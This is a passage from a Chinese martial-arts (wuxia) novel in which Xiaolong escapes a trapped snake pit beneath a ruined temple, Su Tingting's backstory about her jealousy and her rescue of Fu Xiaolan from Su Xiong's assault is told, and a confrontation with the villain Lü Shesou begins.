最后的,就是阿娟了,小龙博览群籍,也曾向二伯——石辅达研习过麻衣相法。


在相法上,人体不能露骨,也就是不能有骨感。


一个看来有无骨感的人,在相法上是主贵的。


一个女人给人有无骨感,“素女经”上称之为上品。


而一个女人的肌肤细緻,呈透明感,更是极品。


阿娟的胴体肌肤细緻,光滑,晶莹剔透,无骨而有半透明的感受,他感到万分惊异。


“真好,真是好极了……”


当小龙心神旌摇之际,耳边突传一阵破风之声,心神一敛,掠身撷在手中,顿觉一股熟悉的幽香,冲鼻而人。


心中一喜,如获异宝,展巾一看,上面黛毫所写的诗句,字迹绢秀,正是苏婷婷的笔迹但小龙不看犹可,一看之下,不仅如针芒刺背,如冷水浇头,更暗叫冤枉不止!


原来那上面的诗句,是:“你侬我侬,忒煞情多。情多处热如火!


把一块泥,捻一个你,塑一个我。


将咱们两个,一齐打破,用水调和再捏一个你,再塑一个我。


我泥中有你,你泥中有我;与你生同一个衾,死同一个棺。


这首柔情万种,温柔敦厚的词,是管夫人填给她先生赵孟頫的,赵孟頫为当时国画名家,有一次打算娶妾,便填了一阕词给他太太管夫人看。其词道:“我为学生,你做夫人;岂不闻王学士有桃叶、桃根。


苏学士有朝云、暮云?


我便多娶几个美姬,越女无过份。


你年纪已过四旬,只管佔住玉堂春?


管夫人看了也不作声,立双填了上阕“我侬词”给她的丈夫看,自然,赵孟俯娶妾的念头给打消了。


这意思分明是说,小龙已有了新人,忘了旧人,过去她的心血与恩情,都算是白费心机。


这怎不令小龙心焦急,似这等严重的误会,怎不使小龙大叫冤枉?


小龙此时却忍不住流露本性,冤屈的流水在眶中滚转,鸣咽的高唤:“婷婷姐姐,你误会了我啊!”


但苏婷婷却生像走远了,一些也不见回答。


小龙激动的流出情泪,从急中,不问东西南北,迳自向前奔走!


他此时,下定决心,非要找着苏婷婷,剖白一番不可!


那知,走不多时,突然来到寄居的镇边。


镇中人来人往,可也寻不着苏婷婷的踪迹。


小龙失望之极,方想再顺途寻找,心中一动,暗忖:“既然婷婷姐姐误会了我,今后自不能再与阿娟相处了。


出得镇来,一时可想不通到何处去好,迟疑半晌,仍然找不出一条线索,发狠忖道:“不管到那去,先离开阿娟远点再说,否则,若让她再缠上来,岂非…


…“


想着,找纵马沿官道驰奔,心中却因想及那“阿娟”二字,有点儿依依之感!


他觉得真有点愧对於她,像她这般如花似玉的姑娘,竟会对一个奇丑的人,烦心关注,虽然当初出於虚情伪意,但最后却是流露了真情,任你铁石心肝,也不免为她这慧眼偏爱,而心摇神驰!


小龙本是情种,更易感受别人的感情。


故此,他方一离镇,便想像到,自己不告而别,伤心不安的表情!


他十分难过,若非因苏婷婷的误会,实在严重的怕人,他很可能回马留下,对阿姐好好解释一番的!


他不能回去,怕担搁了时间,也不敢回去,因为,他知道阿娟的感情,比他複杂,到时候,她会歪缠着要跟他一起走!


这一点,则是他目前最不敢领教的了!


他打马疾走,人却在马上,思前想后,时喜时忧!


时已入晚,天上乌云四合,落下了淒淒细雨。


虽然,他携着辟水珠,雨水打不上身来,但却令他觉得跨下的坐骑,与自己,都须要加餐休息了!


他抬头四头,左侧不远处,有一山环,林木郁郁,暗中望去,形势十分怪异!


小龙暗想:“有山多半有庙,不论庙中有无和尚,总可以暂蔽风雨,让”墨龙“休息休息!”


小龙见所料不差,愁怀稍解,一跃下骑,也不寻路,竟自牵着墨龙向上攀行。


片刻间,一人一马,穿过林隙,来到一所庙前!


小龙放眼一望,只见面前矗立的,是座古刹,墙颓瓦坠,粉壁剥落,不问可知,已然是年久失修。


他惋惜的歎气,想道:“看这座古刹形势,当到必然是红墙绿瓦,金碧辉煌,但不知现今,何以会荒凉若斯?”


想着,一手推开半倒山门,走入门内。


门内本是一片园地,中央有一条印石铺成的直路,通达宝殿!


寺中有一片阴森鬼气。


身后墨龙,却也耸耳嘘气,驻足不前,像有点害怕似的。


小龙平生不信鬼神,适才的一点怯意,被墨龙如此一来,反更是加重!


他不由自主的拍了拍腰中暗藏的血宝剑,胆气一壮,想道:“这宝剑十分灵异,若有凶险,必曾出匣而鸣,此刻不见动静,想来是没什么大不了的!”


大殿无门,殿内一片阴暗,却难不倒小龙的一双神目。


一瞥之下,已看清殿中,难然是遍佈蛛网与灰尘,神像残颓却无甚可疑之处!


他打马人殿中,卸下鞍子,又弄了一堆野草进来,令墨龙裹腹!


他自己则在神案边,略扫网尘,铺上行囊,盘坐起运功休息!


熟料,他方才财上眼睛,陡然间殿后的两边木门,“咿呀!”一声,全被一阵阴风吹开。


声一入耳,小龙直觉得刺耳惊心,目光入殿后,见一个长长走廊,廊上一列并着十棺木,阍杳无声,分外阴森怕人。


小龙不由抽得一冷气,直似觉苦雨淒淒,阴风转凛,宛似真有何鬼怪出现一般!


回心一想,俗语说:“邪不胜正”,便真个有鬼,也不见得奈何自己。


因之瞻气一壮,重回至原地坐下,心中倒好奇的盼望看,真出现个把鬼怪,让他来见识。


然后,便冥目运气,调集丹铁神功,通开过穴,不移时,便达反神还虚,物我两忘之境。


他这么做,并非大意轻敌,他此时丹铁神功,已深达九成火候。


只一入定,真气在体内缓缓运转,不仅能保持高度机敏听觉,凡遇外物袭击,还可自生出反弹之力。


也不知经过多久,运功正反倒转三车将毕,陡然听得墨龙,厉嘶半声,砰然倒地!


而他本身,也陡觉有物,直袭上胸前,“七坎”,“玄机”,“将台”,三处大穴。


此时他正在紧要关头,便不睁目理会,体内真气,受到压力,陡地在三穴猛的一弹,膝上丹血剑,也突的“铮”然而鸣。


苦雨淒凤,阴风凛洌。


一声厉啸,划空飘入殿后,倏然而失。


小龙虽然明知无害,霍觉得坐处,陡然向下堕去!


这下可真吓了一跳,霍然意动,全身一弹,却已为时过晚,“咚”的一声,头撞一块铁板上,更加疾速的向下落去。


他慌忙一层身形,缓往下堕之势,启目四顾。


处身之地,不但是一片石壁天成的地室,且地上万头钻动,竟是片斑斑蛇窑。


小龙那见过这多毒蛇,骤见之下,心头一阵发毛悸动,色变神移,真气一吐,身形也隐不住,倏忽疾捷堕下,堪堪便跌倒,昂头吐信的蛇群身上。


心知这一趺下去,立即会被毒蛇咬死吃光。


慌忙提气上升,双臂一抖,“神龙盘空”,由垂直一变而斜飞。


然后,再头部猛仰,双腿交互一弹,再化“神龙升天”,自群蛇头顶五尺之处。一掠而升,向丈外石壁飞去。


那蛇群想是饿极,一见小龙,低掠而过,陡然纷纷跃起猛噬,若非他飞掠奇速,非被咬中不可!


小龙一近石壁,双脚一绞,霍然化做面外背内,顿时粘附在石壁之上。


近壁的毒蛇,纷纷钻动,又跃又爬,却因石壁溜滑,小龙又高在丈半之上,都够不着他!


小龙这才算放心,放眼四眺,只见上面亦为大石砌成,方才落下之处,已然不着半点痕迹,像根本未曾裂开一般!


四周石壁,似整个大理石雕砌而就,不见有一门户。


小龙暗的诧异,想道:“难道真个有鬼?否则这地方怎么造的,这毒蛇又是从何处放进来的………”


若从上面丢下毒蛇,必定会被摔死,显然是另一机关门户。


小龙适才在打坐之时,丹血剑放在膝上,本来是以防万一,取用方便,那知弄巧成拙,反被发暗器之“人”?乘机盗去。


如今,他身无利器,若凭真气真力,打开石壁,却是万难。


他的丹铁神功,指掌,虽能及远伤物,但易耗真力,却也怕毒蛇太多,杀不胜杀,故非得有支武器不可。


想到武器,立即想到所得的蛟尾鞭,因已乾枯,来时盘在腰间。


心中大喜,赶紧抽出来,运功一抖,软鞭似毒蟒出洞,尾部直指入蛇群中去。


但见鞭尾指处,纷纷拥挤让开,层层叠叠,翻翻滚滚,顿时让出三尺方圆的一片空隙-小龙意外发现,这蛟尾鞭竟能控制群蛇,大喜过望,脚下微顿,离开石壁,盘旋而降,手中长鞭在地上一圈,群蛇果又向外让出五尺。


一面运起丹铁神功,以防毒蛇暴起伤人,一面以长鞭四周挥打,哄开群蛇。


就这样,他满洞游走一遍,霍然在左壁角下,发现两块二尺见方的石块。


那石块粗看与石壁一色,错非小龙,眼神有异,视夜如画,则任何人难以发现,那石块是另装上的。


小龙将群蛇挥开,运起十成掌力,对准那石块按去!


但见他掌起无风,按在石上,却“轰”的发生声大响,石碎如粉,立显出一个黑洞。


小龙不管洞外是啥处所,双臂猛抖,周身骨格,一阵轻脆响过,身形倏缩,竟自用以缩骨之术,“嗖”的钻将出去。


小龙落地暴涨,身形复原,方欲启行,突发现地上有异。


仔细一看,地上用各色水磨细砖铺成,图案虽颇简单,却生似另具用心!


故此,运功将蛟鞭抖直,以鞭做剑,暴点丈外的一方红砖。


因鞭稍贯有内家真力,比体重稍重,砖受力,四周各砖,突然翻起,砖下各伸出尺半镰刀,电闪般向红砖上一勾而没。


小龙吐吐舌,暗道:“好险!”,若贸然踏上,足迳不被刀削断才怪!


因此,便更是不肯大意,又伸鞭去试绿砖。


绿砖受力,两边甬道,倏然射出一箭雨,疾如群蜂归巢,四面八方齐发。


真个令人防不胜防,闪躲不易!


小龙又依次试那紫,黑,白各砖,无论是那一块,却堪引起埋伏,分射出各种不同暗器。


这一来,可把他难住了。


这砖不但无一处可以落脚,甬道又弯弯曲曲,再向前,甬道转弯,更不知情景如何,则如何能冒险轻试!


小龙苦思半晌,仍不能决定,是否要以自己的绝世轻功,冒险一试!


突然灵机一动,霍现喜色,抖臂缩身,倏又冲入蛇窑中去!


小龙钻回蛇窑,手中蛟尾鞭,早巳在前面挥开了一条道路。


他挺立在洞中旁边,蛟尾长鞭连连舞动,并不打击群蛇,只是逼住它们的攻势,不令近身。


群蛇纷纷让开,在小龙身前,现出一片隙地。


群蛇层层叠叠,那被压在下面的毒蛇,受不住重压,又怕又怒,“吱吱”嘶叫不休。


小龙故意将鞭势放缓,让出洞,群蛇一见有条出路,顿时纷纷投入,向外爬去。


一刹时,群蛇争先恐后,层叠而出,“沙沙”之声不绝,甬道之上,立即爬满!


最前面蛇群,方才爬入甬道,“轰轰”“吃吃”,连珠轻响,弩箭如雨,利刃如林,顿时杀死了许多毒蛇!


小龙心知巧计得售,立即不再迟疑,长鞭舞动,逼迫着群蛇,后继而出!


不消多时,群蛇尽出,窑中只余下许多蛇卵,大小不一,颜色各异!


顿时鞭打掌劈,将蛇蛋尽数击破,以免将来再生毒蛇,出山害人。


小龙钻出洞来,放眼一看,甬道上蛇屍叠陈,定有一尺多厚!


小龙缓缓踏着蛇屍前行,走了约廿余丈,方始见前方有微弱的光线透入。


心中一喜,加急踏屍飞掠,来至洞中,正欲飞身出洞。


蓦闻洞外“嘘嘘”吹竹之声,小龙刹住身形,隐身洞暗处,放目打量洞外。


眼前是一片谷地,谷地中萎草盈尺,颇为荒凉,远处是一片枯竹,竹丛中纵横交错,隐有屋宇。


萎草中站着三个汉子,衣一身惨绿长袍,满脸阴惨惨的,三人分三面守住这甬道出,各执着一只竹哨,不停的吹出“嘘”声!


小龙恍然大悟,忖道:“敢情这蛇是他们养的啊!哼,你们既然廝养这多的毒物,必定不是好人,今天我小龙既然遇上,非得追查个究竟不可!”


想着,想着!待那三人走远,将蛟尾鞭盘在手上,施展无上轻功,“伏地追风”,向五丈之外的一丛枯竹扑去!


就在这时,前面的三人,率领着群蛇,巳然走入枯竹丛中,但不知为何,转了几转,凭小龙视夜如昼的眼力,竟都不见!


小龙暗叫道:“,这枯竹看似杂乱无张,实则暗藏着一种阵法。”


天际的掩月浮云,悄然移了开去,大地上因之罩上了一片银辉,但谷壁投在谷中的暗影,却仍然十分浓重!


无意中抬头一看,陡然想道:“我何不先到谷上去查看一下?”


一来可以看看那古刹之中,是何人物盗去了我的丹血宝剑,再者以上望下可轻易分析这枯竹是何阵法?


游目谷壁,只见壁高约有十丈,斜度颇大,却也非直上直下。


这自然难他不倒,但为慎秘行藏,尽量用普通身法,向上攀去!


谷顶是一片杂树横生的斜坡,下临五丈,便是那一座古刹!


纵目四眺,只见那谷中枯竹,左三右五,前七后六,将中央一幢绿屋,层层围住,粗看似无奇处,细审之下,其中部似有层层煞机,潜伏其中。


小龙修习“丹书铁卷”,亦涉及阵图之学,对奇门八卦,九宫诸阵,熟而又熟,但这时却怎的也看不所以然来!


方自寻思,忽听古刹中传来“卡察”声响,心中一动,倏忽扑下崖去,拔身隐入寺后一丛浓荫,闪目察看声音来源。


他这里方才将身隐起,霍见大殿中传出一声微“咦”!


长廊边人影一晃,现出一位老婆婆,因他背对这面,月光下但见她,白发如银,可怪的是毫无龙钟老态。.小龙心中无来由霍地一喜,直觉的料想到,来人必是苏婷婷乔装。


正想现身相见,解释误会,猛见长廊所存的十棺木,其中之一,棺盖“吱呀”


一响,霍地缓缓向上撑了起来!


小龙藏在暗处,料想这必是适才暗算自己的人,又在装鬼弄人,一时童心触动,便先不现身,瞧“苏婷婷”怎生应付!


那婆婆猛见棺盖掀动,确实吃了一惊,但旋即镇定如常,反霍地上步挫腕,“呼”的推出一掌。


掌风果然凌厉之极,所至处“哗啦啦”一阵大响,棺木寸裂,四散飞开,棺中猛的“瞅啾”鬼叫,绿影方闪,长廊中突然多出一个“殭屍鬼”来!


那“殭屍鬼”飙忽飘荡,落地无声,若非是个真鬼,但凭这一手轻功,亦显然是一位成名人物。


但见他绿冠绿袍,甚至连皮肉亦是惨绿之色,七尺之躯,僵瘦如柴,活像是根竹桿一般只是那瘦脸上,高额凹目,凹目里射出两团绿光,闪闪烁烁的,活似两团鬼火!


此际,他紧瞅着着白发老婆婆,大裂开,喉头“啾啾”作哨,一股作势欲扑之态,在此暗夜中猛的遇见,真令人胆寒心悸!老婆婆持剑平持。


那宝剑煞是奇怪,通体长有三尺,银光灿烂,护手形如覆碗,罩住右手,剑身无锋无刃,粗如拇指大小,圆的像一根银棒一般!


小龙一见这剑,心中大喜,更加肯定这老婆婆定是苏婷婷所扮无异!


三十三老婆婆的确是苏婷婷。


她诛杀了赵白娘等人,得知小龙去巢湖除蛟的消息,芳心欣喜之下,急急往皖中赶去。


这日行抵“夏阁”瞥见灾民满街,心中颇为侧然,正思量如何予以救济,突然发现了小龙的踪迹。


当时,小龙也是刚到,他化装一个奇丑少年,像煞是一位拓落的游方学子!


但苏婷婷与他相处数年,熟得不能再熟,一时虽认不出他的真正面目,但只要他稍为动作,便能确认他是小龙无误!


,本来该是一喜,但无奈当时小龙的身边,有一位如花似玉的姑娘,“龙哥哥长,龙哥哥短的”,随出随进,在敏感的苏婷婷看来,不啻是如遭雷击!


当时她又气又伤心,不但不去相认,反而远远的藏开,暗暗决定,偷偷的去探探小龙与那位姑娘,到底是什么关系!


那知,当夜小龙与府小兰夜探巢湖,一时情不自禁,府小兰竟主动的演出“飞燕投怀”的一幕!


这事儿落在她眼中,更气得她泪珠儿滚滚,芳心中悲恨不已!


暗悲自己的命运,也暗恨龙弟弟喜新忘旧,见异思迁,她后悔不该把贞操奉献,也后侮不该不跟随小龙,一齐回去!


她左思右想,真个是抛不开也剪不断,最终却决定,暗暗跟踪着他们,察看个水落石出。


因此,由夏阁起,第二日暗随着小龙一行,来到高林桥,无意中发现,一位与自己穿着相同的老婆子,也暗暗追踪着小龙等人。


她不知道这人是谁,审度情势,那老婆婆一脸慈祥正气,似无恶意。


但她仍然对小龙十分挂心,怕他会受人暗算,故而当天夜里,又随着他们入湖,攀上崂山。


在小龙斩蛟入湖之后,苏婷婷瞥见粟雄贪得无厌,忘恩负义之态,气他不过,便偷偷剥去蛟皮,将粟雄整制了一顿!


第二天,悄悄上了白石天,目睹小龙三人扬威比武擂台上,心中既高兴又生气。


她正在闭目寻思对策,熟料那一身装扮,无意中竟与府小兰的师父一朵云梅凌霜有些雷同。


府小兰错认她是自己的师父,飞掠下台相认,她心中一动,想起府小兰所称的师父,可能就是自己发现的那位老太婆。


地面对面细看府小兰,芳心里虽仍存留着一股酸气,但见她艳如朝霞,活泼纯真,令人可爱,亦不由动了惜怜之心。


因此,她想告诉府小兰,自己所见,却不想粟雄竟傲慢无礼之极!


苏婷婷一气之下,举手拂中粟推的包心络脉。


不过,她悄悄的,远远的跟着小龙,看看他独自离店,同时也看到了他留在桌上的纸条。


到这时,她才彻底的放了心,同时也彻底的快活了起来。


她不再悲愁自己的命运,她觉得前途中充满了朝气与希望,她急急的想追上小龙,与他互诉衷肠!只是另一个念头,却又使命地停留了下来!


那念头是由於府小兰所引起的,在过去她妒嫉府小兰,她恨她对小龙的亲热!


然而,当她切确的知道胜利属於自己的时候,却不由对府小兰产生了怜悯!


她是女人,自然能十分清楚女人们的心情与愿望!


故此,她可以从第一眼看出来,府小兰之对於小龙,也有着一份热爱!


若果府小兰今天没有错认了她,与地面对面讲那些话,她也不会有这种感觉。


奇怪的,只那么片刻功夫,她便转变了一些观念,而认为府小兰是值得同情的女子!


因之,在这刻,她想到当府小兰读到这冷淡的留条时,一定会异常伤心,她想留下来安慰地,同时地也想知道,府小兰之对於小龙的爱,是始自何时?


她想知道,府小兰是否见过小龙的真面目?


她觉得,如果府小兰没有,则此种情爱,就更加值得同情!


於是,重又回到店房,开下了一个与府小兰相对的房间!


府小兰与粟雄的一举一动,都落在她的眼中。


她瞥见府小兰进入小龙所居之室,也隐隐听见府小兰的唏嘘与歎息!


正准备过去劝慰一番,瞥见粟雄,轻手轻脚的潜入窗下,暗窥室内的动静。


对粟雄她一直是万分厌恶,觉得他徒然生了付俊秀的外表,掩饰起他那副窄狭鬼诈的心肠。


此际,她瞥见粟雄,鬼祟行动,心知他又不怀好意,她暗中冷哼一声,忖道:“好小子,只要你敢做出越轨的行动,我非要你好看不可!”


粟雄一时色胆包天,可不知煞星在后,他自窗隙中窥见府小兰困卧在小龙的床上,顿时起了邪心!


他悄悄的推开房门,瞥见案头小龙所留纸条,顿时大喜,暗叫一声:“天助我也”,掠至榻畔,骈指点中府小兰的“软麻穴”,欲先奸污了府小兰,再作计较!


正当他脱解府小兰衣衫之际,猛闻得前后窗齐声暴响,两窗大敞,两条人影,一齐扑下,其中之一,身在空中,已然大骂出,道:“好个大胆的畜牲,还不与你祖奶奶留下命来!”


粟雄闻声失色,未等两人扑入,右手一挥,撒出去,一大把飞针。


飞针一闪,共分三路,二路攻敌,一路却击向案头油灯。


那扑入的两条人影,料不到粟雄会出此下策,各自身形一顿,油灯霍熄!


那前窗扑入之人,一声怒叱:“狗贼无耻。”


骂声中双袖一兜一展,又道:“还你!”


那漫天飞针,竟被她一兜一展之式,霍收又放,齐齐向尚在地上打滚的粟雄射去!


粟雄自服蛟脑,功力大非昔此,虽在黑暗之中,闻声知警,在地上霍然弹起五尺,双臂一分,前击飞针,后击房门。


只听得哗啦啦连声暴响,房门立被劈开,并未藏过所有的飞针,“吃吃”两下,左小腿上,顿时刺入两只,深没入肉。


粟雄情知来人功力绝高,不敢再留,咬牙强忍痛楚,双袖齐舞,又撒出两大把飞针,人却一跺脚窜出房外,落荒向店外逸去。


这两人不是别个,由前窗而进的正是苏婷婷,另一位却也是白发苍苍的老婆婆。


苏婷婷一瞥那老婆婆身穿青布衫裤,与自己打扮相同,身材亦极相同,心中瞭然,她必是府小兰的师父了。


梅凌霜关心爱徒安危,顾不得追赶粟雄,更顾不得站在室内的苏婷婷。


府小兰方才一时急怒攻心,晕迷过去,这刻经一连串怒叱声响,早已惊醒过来。


只不过软麻穴尚未解开,不能言动而已。


梅凌霜慈目如神,闪闪注视,一瞥府小兰,衣衫半解,凤目含涕,一副可怜模样,不由得慈怀微酸,伸手边替她拍活穴道,边歎息着道:“乖儿别怕,为师在这儿那!那贼……”


府小兰瞥见来人竟是自己的师父,芳心中一时又喜又羞,又气又悲,穴道方解,猛的挺腰跃起,扑入梅凌霜怀内,娇声颤战的唤声:“师父”,便悲悲切切的娇涕起来!


室内,梅凌霜微抚着府小兰的香肩,歎着劝道:“乖徒,别哭啦,快起来吧!


……“


府小兰依言迅速的穿好衣服,似撒娇,似诉苦的道:“这恶贼真是人面兽心,我非杀了他不可,唉,要是龙哥哥在……”下面的话,却被哭泣代替,未说出来!


梅凌霜“咦”了一声,奇道:“那个姓石的呢?”


府小兰骤听人提到小龙,心中更悲,哭道:“他,他,他走了呀!”


梅凌霜又紧接着追问:“为什么呀?他不是和你蛮好的吗?”


府小兰这是才觉得有异,因此她暂不回答这个问题,反问道:“师父,你何时下山的啊?怎么……怎么知道那么多呢?”


梅凌霜神秘一笑,道:“乖徒,你当我能放心,让你一个人下山的吗?我一直到现在,都跟在你的身后啊!”


府小兰恍悟的“啊”了一声,到这时也清楚,过去为何在很多凶险之处,未遇着劲敌的缘故,敢情恩师一直跟随着自己,替自己开路,暗中保护着自己的啊!


芳心中温暖充塞,使得她娇唤一声:“师父”纵体投入梅凌霜婆婆的怀内,玉臂紧拥住她的脖子,流下两行感激与欣喜的泪来!


梅凌霜慈爱的搂着她,在她耳边轻歎着道:“乖徒,你是为师的命根子,我老婆子那能让你受半点屈曲啊!”


说着,又歎息一声道:“这半年多,我时时隐在暗中,实指望你能挑选个好女婿,谁知道,这姓粟的恶贼,竟这么下流无耻,白白糟蹋了一副好面孔。”


府小兰闻言,芳心里又羞又恨,暗自发誓,将来非亲手杀死粟雄不可!


梅凌霜见她不言不语,微微一顿,又道:“倒是那姓石的,人品武功,都是上上之选,可惜就是太丑了些,否则,倒是蛮合适的!”


说到这里,“哦”的一声问道:“倒是那姓石的,怎么不见啦,那个老头子呢?”


府小兰闻言,心想你也不晓得那老头子就是龙哥哥扮的啊!


想着,不由得意的“嗤”声笑了出来。


但“笑”声方出,转念想到龙哥哥今已不辞而别,顿时失尽了满心欢乐,柳眉一皱,旋即簌簌地掉下泪来!


这又笑又哭之状,落在梅凌霜的眼中,疑云大起,奇道:“乖徒,你怎么啦?


……“


府小兰闻言更加伤心,强抑悲声,颤声道:“他,他走啦!他留下个字条,一声不响的走啦……”


梅凌霜婆婆追问缘故,府小兰悲切切的将经过说了一遍,说完又痛哭起来!


梅凌霜见识多广,顿时发觉,小龙竟然对自己这位美如仙女的爱徒,无动於心,不由得霍然动怒,嗔道:“这丑小於到臭美的紧呢!难道我徒儿真的赖上了你吗?乖徒别哭,为师就不信天下找不着此他好的!”


府小兰闻言大恸,唤道:“师父,他,他……”


梅凌霜心中又痛又惜,白眉霍扬,大声道:“他什么,他欺负过你?乖徒别伤心,为师一定找去毙了他,替你出气!”


府小兰一听,顿时吃了一惊,也不哭了,一把拉住梅凌霜,道:“师父,他没有欺负我,他一直待我很好,我……喜欢他……”


这后一句话,声音极低,像是蚊鸣一样,说完了羞怯怯垂下头去,再也不肯抬起来了!


“这丫头真爱上了那丑小子了吗?这……”


一怔之后,故意探试,道:“这小子有什么好,他怎能配得上你啊!依我看算啦:赶明儿为师陪着你去江南玩玩,那地方才真有俊秀的人物呢!”


府小兰不知梅凌霜婆婆有意相试,她觉得师父对小龙不够公平。


因此,忍不住替小龙辩护,娇声幽幽的说道:“你不知道,他虽然长得丑,心性人品却比什么人都好万倍。我不以为外表该重於内心,像粟……。我不要去江南,我……”


梅凌霜暗中一歎,接道:“你要去找那小子,是不是?”


府小兰眼角微阖,螓首垂得更低,却一声不哼。


梅凌霜故意逗她,促着问说:“是不是啊!怕什么,是就是是,不是就不是,在为师面前,还怕什么羞呢!”


府小兰就逼得无法,只好微微地点了点头,点过之后,却扑在师父身上,默声不语。


梅凌霜见她这般模样,心中暗叫声:“冤孽!”道:“唉,乖徒,既然你自己挑中了他,为师可不好说否,好啦!明天一早,为师陪你去找他吧!”


说着,拥着府小兰站起,缓缓踱在门边,正欲出室,目光忽瞥见案上钉着的数根细针,这才想起,那像煞自己的人!


她知道人家已然走了,心头不由有点歉然,皆因人家好意来拯救自己的乖徒,虽则自己也同时赶到,却也不该只顾述旧亲热,连谢字都不道一声。


不过,她并未说出来,只是用歎息来表示遗憾,中却言:“只是便宜那小子啦!”


府小兰不知恩师中的那小子指的是谁,但还是自觉耳根有点发烧。


房顶上的苏婷婷,一直未曾离开,她方才潜听着房内师徒二人大部份的谈话,芳心里充满了複杂的情绪!


她并未窥见府小兰的表情,甚至也未听清府小兰若干低细的声音,但从梅凌霜的音之中,却也不难瞭解大概的情形!


因此,她觉得若站在局外人的立场,府小兰是值得敬佩,而应该予以协助!


但是事实上,她不仅非局外人,还有着切身的利害关系。


在私心里,她不愿意出让心上人,甚至那天性的妒嫉,也不愿意与别人分享。


因此,她虽则同情敬佩府小兰的一切,却一时不能决定,应该怎样应付。


她默默的思索了许久,最终决定,无论如何,总应该先见见小龙再说。


她以为,小龙是这事的主角,一切也应该由他自己去决定,若果他喜欢府小兰,也誓必须要与府小兰分享一切不可!


反之,若小龙不认为府小兰有何可爱,则任凭府小兰如何癡情,自己又何必画蛇添足,协助她呢?


因此,她便觉得应该去找小龙了。


苏婷婷一路跟踪下来,竟发现心上人进入了赌坊,当时真是芳心欲碎,想不到时隔不久,竟然堕落如此。


继之一想,小龙是她曾经苦心教养培育的心上人,纵使再堕落,自己也应该有苦劝料正他的责任。


於是,便不动声色的在暗中观察,这才发现小龙只不过将计就计的在与一股邪恶组合周旋。


这才定下心来。


真所谓:一工平安,-工福;一日无代志,小神仙。


这些日子来,苏婷婷真是把一颗心捏在手里,吃不好,睡不安,为小龙瞅着心。


直到阿娟开始以色相引诱,这才打出丝绢,把心上人引出来。


它顺着小龙所去的方向,计算小龙因乘马关系,必不会走得太远!


当时是初更已过,二更未到,苏婷婷尽情展开轻功,去若飞矢般,连奔了两个更次!


以她轻功而论,虽稍逊小龙,却堪称是江湖中罕有高手,脚程展开,不须寻路,只要是认准方向,穿林越野,虽只走了两个更次,却已到达了小龙被困的古刹山下。


她本想绕过山去,不知怎的,心灵霍然产生了一种奇怪的异样之感!


这感觉生像是语云的“心血来潮”,心灵方寸间直觉得搅绕不宁。


蓦地,瞥见山中古庙,远望宇角如画。


行至庙前,只见那古刹荒凉颓废,阴气森森,才知是座废弃已久的破庙!


她曾服鲸珠,目光虽不此小龙,视夜如昼,却也锐利之极。


虽则大殿中漆黑如墨,仍能清晰的看见一切的陈设,以及倒毙的黑马。


苏婷婷瞥见这黑马十分眼熟,新死不久。心中惊讶的细加察看,发现那马,头部双目之间,微露出一只铁器。


拔出一看,只见那铁器形似一蛇,长约八寸,弯弯曲曲的,前头十分锋利。


她目下经验见识,大非昔比,见状芳心一转,疾看把手处,果然发现上面刻铸着一个“蛇”字。


她不由“咦”了一声,暗中一凛,忖道:“啊!这老妖物还没有死吗?这…


…“


想着,无意间瞥了死马一眼,顿时心头猛跳,想道:“这,这不是龙弟的坐骑吗?怎会死在此地,那?龙弟弟……”


苏婷婷不由打了个寒战,信手丢掉蛇形暗器,晃身扑入后园。正赶上小龙脱困逃出,也正迎着那装鬼吓人的怪老头!


她虽因见过蛇形暗器,芳心中已有了个底儿,但黑夜间猛见这殭屍也似的人物,仍然忍不住生埋上的恐怖反应。


她宝剑一摆,全神戒备,沉声叱问道:“老妖不要装鬼吓人!你当无人能认得你吗?”


藏着的小龙与那怪物都吃了一惊!


小龙是惊奇她怎的会这等博闻,像是知道那怪人的来历一般?


那老怪则是想不到,在自己隐居数十年后,竟还有人,第一眼便能识破自己的行藏!


苏婷婷瞥见他迟疑之状,便确认自己所料不差,冷笑着道:“绿蛇叟你不必奇怪,难道你忘记了当年的教训与誓言吗?”


那妖人果然是绿蛇叟,他远在四十年前,出道江湖,为非作歹,杀人如麻,不出数年,便即成了江湖黑白两道,人人头痛的煞星!


但这绿蛇叟,不仅功力高绝,练就殭屍气功,周身上下,坚僵如铁,非宝刀宝刃不足伤他,更且性喜廝养奇毒恶蛇。


行事但凭好坏,不分是非亲疏。


最坏的,不讲究什么绿林规矩,他只求能达到一己之目的,偷袭暗算,无所不用其极。


因此之故,江湖中人人畏之如虎,行迹所至,往往是人人纷逃,如避蛇蠍。


那时孤芳客才出江湖不久,也不过廿多岁,闻其劣迹,触动侠肠,只人单剑,寻着绿蛇叟要求比斗。


在比斗之先,孤芳客已知但凭真实功力,自己尚不能真的胜他,故而使用出傲敌之计,声言自己若果不胜,则立即自刎在绿蛇叟的面前!


绿蛇叟过於狂傲,一生眼高过顶,不但未曾把孤芳客放在眼里,同时也从未见过,有人敢在他面前这么狂过。


因此,绿蛇叟顿时怒气冲天,大怒回答道:“好小於,我绿蛇叟若不成全你自刎之志,一辈子宁愿老死荒山,也不再重履江湖!”


孤芳客要的正是这话,闻言立即接道:“君子一言,快马一鞭,绿蛇叟你可不要自食其言!”


绿蛇叟气的鬼叫一声,怒沖沖骂道:“王八蛋浑小子,我绿蛇叟一生行事,无不如意而行,今天既然这么说了,还能不算数吗?”


孤芳客心知目的已达成一半,便不多言,立即抽出宝剑,攻将上去。


这一仗可打得极紧张刺激。孤芳客自知内功差他一筹,便竭力用其轻灵疾捷的身法剑术,与他游斗。


绿蛇叟所练的殭屍功,以坚硬刚猛见长,善於以硬撞硬。孤芳客身法如电,倏忽飘逸,令人有“瞻之在前,忽焉在后”的感觉,让他摸不着边儿,故此绿蛇叟愈打愈气。


就这样两人耗斗了一天一夜,绿蛇叟殭屍功耗力过大,终於中了孤芳客一掌。


这一掌正巧击中绿蛇叟背后“敲尾”穴上,这敲尾穴,也正是绿蛇叟的罩门。


故此这一掌虽未将他当时击毙,却震散了绿蛇叟苦练而成的殭屍毒气!


败招离去,果然是未再出现,而偷偷的隐居起来,重练他那被破的殭屍毒气。


而孤芳客因此一举成名,一日之间,立郎变成了江湖中人人侧目的热门人物!


苏婷婷曾听她师父提过此事,就知当年绿蛇叟所擅武功暗器与习性,故尔今日一见,便突然想了起来。


那绿蛇叟埋首这荒山废寺之中,苦练绝艺,为的便是要报复当年的一掌之仇。


如今他绝艺初成,尚未下山,首次遇着这老婆婆,便揭起他这个旧疮疤,岂能不气!


只见他满头绿发,霍的爆竖起来,绿光闪闪的眼里,射出仇恨的淒厉光芒,中鬼叫一声,道:“老乞婆你是何人?既知老夫大名,当亦知老夫习性,今日你既然闯入此间,分明是阳寿已终,待老夫超渡你嗝屁!”


